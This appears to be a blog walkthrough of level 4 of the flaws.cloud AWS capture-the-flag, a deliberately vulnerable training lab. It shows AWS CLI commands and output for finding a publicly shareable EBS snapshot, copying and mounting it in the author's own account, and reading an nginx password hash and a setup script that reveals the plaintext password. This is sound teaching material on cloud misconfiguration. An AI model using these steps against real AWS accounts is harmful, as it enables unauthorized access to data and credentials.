flAWS – AWS CTF – Level 4

Level 4 – Challenge statement:

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

link

Background

flaws.cloud itself says it best:

Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). 
There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS specific issues.

A series of hints are provided that will teach you how to discover the info you'll need. 
If you don't want to actually run any commands, you can just keep following the hints which will give you the solution to the next level. 
At the start of each level you'll learn how to avoid the problem the previous level exhibited.

Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud. 

My approach:

Challenge states that there is an EBS snapshot of the EC2 instance – so I’d imagine we could find our creds in there.

Lets try and get a VolumeID of the running instances:

        aws ec2 describe-instances --profile flaws
        <snip>
        "Ebs": {
             "Status": "attached",
             "DeleteOnTermination": true,
             "VolumeId": "vol-04f1c039bc13ea950",
             "AttachTime": "2017-02-12T22:29:25.000Z"
        }
        <snip>

Convenient, only a single running EC2 instance, and has a VolumeID of vol-04f1c039bc13ea950 – but lets be sure it’s actually the instance we want my comparing the public IPv4 address

        aws ec2 describe-instances --profile flaws
        "Association": {
             "PublicIp": "35.165.182.7",
             "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
             "IpOwnerId": "amazon"
        }
        <snip>

The running instance has an public IP of 35.165.182.7, lets do a look-up on 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud to see if it matches:

        ~$ nslookup 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
        Server:         8.8.8.8
        Address:        8.8.8.8#53

        Non-authoritative answer:
        4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud    canonical name = ec2-35-165-182-7.us-west-2.compute.amazonaws.com.
        Name:   ec2-35-165-182-7.us-west-2.compute.amazonaws.com
        Address: 35.165.182.7

It’s a match!

Now lets find that EBS snapshot by VolumeId

        ~$ aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile flaws
        {
            "Snapshots": [
                {
                    "Description": "",
                    "Tags": [
                        {
                            "Value": "flaws backup 2017.02.27",
                            "Key": "Name"
                        }
                    ],
                    "Encrypted": false,
                    "VolumeId": "vol-04f1c039bc13ea950",
                    "State": "completed",
                    "VolumeSize": 8,
                    "StartTime": "2017-02-28T01:35:12.000Z",
                    "Progress": "100%",
                    "OwnerId": "975426262029",
                    "SnapshotId": "snap-0b49342abd1bdcb89"
                }
            ]
        }

Now let’s check the createVolumePermission on this snapshot:

        ~$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile flaws
        {
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "CreateVolumePermissions": [
                {
                    "Group": "all"
                }
            ]
        }

Oops!, Anyone can create a volume based on this snapshot.

Let’s try and create a volume from this snapshot in our own AWS account so we can use it to spin up an EC2 instance with our own SSH keypair and poke around.

        aws ec2 create-volume --region us-west-2 --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
        
        {
              <snip>
              "State": "creating"
              <snip>
        }

Looks good!

        aws ec2 describe-volumes
        
        {
              <snip>
              "VolumeId": "vol-0a8f64220765bd28a"
              "State": "available"
              <snip>
        }            

Very nice!

How we need to make an EC2 instance, and mount this extra volume to poke around… Gonna do this via the AWS Console, as that way I don’t need to go and find AMI IDs, Security Group names, Subnets IDs etc

<I’m off at the AWS Console, spinning up a T2.micro in us-west-2a – with a security group allowing SSH in>…

I’m back.

First lets get the EC2 instance ID:

        aws ec2 describe-instances
        {
              <snip>
              "InstanceId": "i-060483a9958562fad"
              <snip>
        }

Now lets attach the volume we created on /dev/sdf:

        aws ec2 attach-volume --volume-id vol-0a8f64220765bd28a --instance-id i-060483a9958562fad --device /dev/sdf
        {
              <snip>
              "State": "attaching"
              <snip>
        }

Great, now we should be good to SSH into the instance using our own keypair. Lets get the public IP:

        aws ec2 describe-instances --instance-id i-060483a9958562fad
        {
              <snip>
              "PublicIp": "34.217.133.22",
              <snip>
        }

Ok SSH time:

        ssh -i mysupasecretprivatekey ec2user@34.217.133.22

Lets see if we can see the block device

        [ec2-user@ip-172-31-31-47 ~]$ lsblk
        NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
        xvda    202:0    0   8G  0 disk
        └─xvda1 202:1    0   8G  0 part /
        xvdf    202:80   0   8G  0 disk
        └─xvdf1 202:81   0   8G  0 part

There is the virtual disk – /dev/xvdf1, lets make a mount point and mount it:

        sudo mkdir /mnt/flaws
        sudo mount /dev/xvdf1 /mnt/flaws
        $ mount
        <snip>
        /dev/xvdf1 on /mnt/flaws type ext4 (rw,relatime,data=ordered)
        <snip>

Lets see what we can find:

        $ ls /mnt/flaws/
        bin   dev  home        initrd.img.old  lib64       media  opt   root  sbin  srv  tmp  var      vmlinuz.old
        boot  etc  initrd.img  lib             lost+found  mnt    proc  run   snap  sys  usr  vmlinuz

Looks like a fvalid linux filesystem layout, now… where to get those crendentials. The challenge said… “a snapshot was made of that EC2 shortly after nginx was setup on it.”

        $ cat /mnt/flaws/etc/nginx/.htpasswd
        flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0

Juicy!

Username: flaws

However is that password encrypted or plain-text? I quick attempt at http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/ confirmed it’s not clear-text

But it must have been entered in plain-text originally, lets see what user directories we have…

        # ls /mnt/flaws/home
        ubuntu

Just the one user – ubuntu

Oops! they left the script in their home-directory with the command to generate the encrypted htpasswd from the clear-text one!

        $ cat setupNginx.sh | more
        htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

Lets try that. User: flaws Password: nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

WORKS!

BTW – the /home/ubuntu/.bash_history makes for good reading too

Tells us to go to page: http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

Level 5 unlocked.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s